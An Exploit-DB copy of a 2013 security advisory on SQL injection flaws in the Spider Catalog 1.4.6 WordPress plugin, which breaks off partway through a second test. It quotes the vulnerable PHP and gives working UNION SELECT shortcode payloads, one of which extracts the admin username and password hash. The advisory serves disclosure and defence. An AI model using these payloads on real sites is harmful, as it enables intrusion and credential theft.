Exploit-DB #25724
Description: WordPress Plugin Spider Catalog 1.4.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-05-26
Author: waraxe

Exploit:
[waraxe-2013-SA#105] - Multiple Vulnerabilities in Spider Catalog Wordpress Plugin
===================================================================================

Author: Janek Vind "waraxe"
Date: 22. May 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-105.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Spider Catalog is the best WordPress catalog plugin. It is a convenient tool
for organizing the products represented on your website into catalogs. Each
product on the catalog is assigned with a relevant category, which makes it
easier for the customers to search and identify the needed products within the
catalog.

http://wordpress.org/extend/plugins/catalog/
http://web-dorado.com/products/wordpress-catalog.html

Vulnerable is current version 1.4.6, older versions not tested.


###############################################################################
1. SQL Injection in Spider Catalog Shortcodes
###############################################################################

Reason:
  1. insufficient sanitization of user-supplied data
Attack vector:
  1. user-supplied shortcode parameter "id"
Preconditions:
  1. must be logged in as user with posting privileges (Author level
  required as minimum by default)


Php script "catalog.php" line 101:
------------------------[ source code start ]----------------------------------
add_shortcode('Spider_Catalog_Category', 'Spider_Catalog_Products_list_shotrcode');

function Spider_Catalog_Single_product_shotrcode($atts) {
     extract(shortcode_atts(array(
          'id' => '',
     ), $atts));
     return spider_cat_Single_product($id);
}
add_shortcode('Spider_Catalog_Product', 'Spider_Catalog_Single_product_shotrcode');
...
function spider_cat_Single_product($id)
{
...
  return    front_end_single_product($id);
------------------------[ source code end ]------------------------------------

We can see, that two shortcodes are defined: "Spider_Catalog_Category" and
"Spider_Catalog_Product". Both of them have SQL Injection vulnerability via
shortcode parameter "id".
Let's analyze shortcode "Spider_Catalog_Product" implementation.
Parameter "id" from shortcode "Spider_Catalog_Product" will be used in function
"front_end_single_product()" as argument.

Php script "front_end_functions.php" line 18:
------------------------[ source code start ]----------------------------------
function front_end_single_product($id)
{
...
 $product_id=$id;
...
 $query = "SELECT ".$wpdb->prefix."spidercatalog_products.*, 
   ".$wpdb->prefix."spidercatalog_product_categories.name as cat_name FROM 
   ".$wpdb->prefix."spidercatalog_products left join 
   ".$wpdb->prefix."spidercatalog_product_categories on  
   ".$wpdb->prefix."spidercatalog_products.category_id=
   ".$wpdb->prefix."spidercatalog_product_categories.id where
   ".$wpdb->prefix."spidercatalog_products.id='".$product_id."' and 
   ".$wpdb->prefix."spidercatalog_products.published = '1' ";
 $rows = $wpdb->get_results($query);
------------------------[ source code end ]------------------------------------

As seen above, parameter "id" is used in SQL query without any sanitization,
which leads to SQL Injection vulnerability.

Tests:

Log in as user with posting privileges and use shortcode as below:

[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12#"]

Now open webpage containing specific post and MySQL version info will be revealed.

Second test:

[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE 
ID=1),5,6,7,8,9,10,11,12#"]

As result, sensitive information (username and hashed password) will be revealed
for Wordpress user with ID 1 (usually admin).

SQL Injection in other shortcode can be exploited in similar way:

[Spider_Catalog_Category id="0 UNION SELECT 1,2,@@version,4,5,6,7,8#"]

... and we can see MySQL version info (look at the html source code):

<a style="cursor:pointer;" onclick="catt_idd_1(5.5.30)" >Back to Catalog


###############################################################################
2. SQL Injection in "catalog.php" function "catalog_after_search_results()"
###############################################################################

Reason:
  1. insufficient sanitization of user-supplied data
Attack vector:
  1. user-supplied parameter "s"
Preconditions: none


Php script "catalog.php" line 39:
------------------------[ source code start ]----------------------------------
function catalog_after_search_results($query){
    global $wpdb;
    if(isset($_REQUEST['s']) && $_REQUEST['s']){
    $serch_word=htmlspecialchars(stripslashes($_REQUEST['s']));
    $query=str_replace($wpdb->prefix."posts.post_content",
      gen_string_catalog_search($serch_word,$wpdb->prefix.'posts.post_content')
      ." ".$wpdb->prefix."posts.post_content",$query);
    }    
    return $query;

}
add_filter( 'posts_request', 'catalog_after_search_results');
------------------------[ source code end ]------------------------------------

User-submitted parameter "s" is prepared with functions "stripslashes" and
"htmlspecialchars" and then used in SQL query in Wordpress seach functionality.
Stripping slashes from parameter "s" nullifies "magic_quotes_gpc" effect and
"htmlspecialchars" is suppose to be used for sanitization. Still, it is known,
that "htmlspecialchars" function by default does not modify single quotes,
which leads to SQL Injection vulnerability.
Specific SQL Injection can be exploited using "Nested SQL Injection" method.

Tests:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Then let's issue